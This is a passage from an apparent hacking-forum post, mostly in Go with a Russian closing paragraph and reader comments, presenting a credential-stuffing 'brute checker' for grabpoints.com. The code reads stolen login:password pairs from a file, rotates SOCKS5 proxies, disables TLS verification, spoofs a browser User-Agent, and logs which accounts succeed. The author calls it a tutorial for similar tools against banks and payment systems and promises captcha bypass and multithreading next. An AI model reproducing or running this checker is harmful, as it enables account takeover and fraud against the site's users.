    file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return fmt.Errorf("failed to open proxy file: %v", err)
    }
    defer file.Close()

    _, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
    if err != nil {
        return fmt.Errorf("failed to write proxy to file: %v", err)
    }

    return nil
}

func getAccount() (string, string, error) {
    file, err := os.Open(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open account file: %v", err)
    }
    defer file.Close()

    var accountInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        accountInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("account file is empty")
    }

    parts := strings.Split(accountInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("invalid account format: %s", accountInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open account file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("failed to write remaining lines to account file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}
func checkAuth(userName, password string) (int, error) {
    for i := 0; i < 5; i++ {

        ip, port, err := getProxy()
        if err != nil {
            return 0, fmt.Errorf("failed to get proxy: %v", err)
        }

        fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)

        dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
        if err != nil {
            fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
            continue
        }
        fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
        payload := []byte(fmt.Sprintf(`{
            "userName": "%s",
            "password": "%s"
        }`, userName, password))

        httpTransport := &http.Transport{
            Dial:            dialer.Dial,
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}

        req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
        if err != nil {
            fmt.Printf("Error creating request: %v\n", err)
            continue
        }
        req.Header.Set("Content-Type", "application/vnd-v4.0+json")
        req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
        req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
        req.Header.Set("Accept-Language", "en-US,en;q=0.9")
        req.Header.Set("Origin", "https://grabpoints.com/")
        req.Header.Set("Referer", "https://grabpoints.com/")

        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf("Error sending request: %v\n", err)
            continue
        }
        defer resp.Body.Close()

        fmt.Println("Response Status:", resp.Status)
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error reading response: %v\n", err)
            continue
        }
        fmt.Println("Response Body:", string(body))
        if strings.Contains(string(body), "bad credentials") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - fail\n", userName, password)
            return 2, nil
        }
        if strings.Contains(string(body), "authorities") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - success\n", userName, password)
            return 1, nil
        }

    }
    fmt.Println("The maximum number of attempts has been reached.")
    return 10, nil
}
Не думаю, что именно этот сайт представляет какой-то интерес с точки зрения материальных выводов. На его примере я хотел показать логику разработки брутчекера, а также некоторые проблемы, которые могут встретиться на пути. Вероятно, при разработке брутчекера для банков, платежных систем мы столкнемся с более мощными защитами, о капчах, а также многопоточности я расскажу уже в следующий раз. В любом случае, разработка подобных программ может быть очень увлекательным занятием, впрочем, эта история всего лишь выдумка ✌️
 
однозначно Лайк как раз решил учить го так как тут твоя тема крутая реализация проксей
 
Лучший мужик, я только недавно начал учить го, а твой статьи просто ахуенные
 
I like your article though it is not arranged in the way it looks simple to read it.

Kindly re-arrange it so that reading can be easy and on your next article please avoid long paragraphs ... divide paragraphs into short paragraphs of like 3 to 4 sentences separated with a space.
 
Top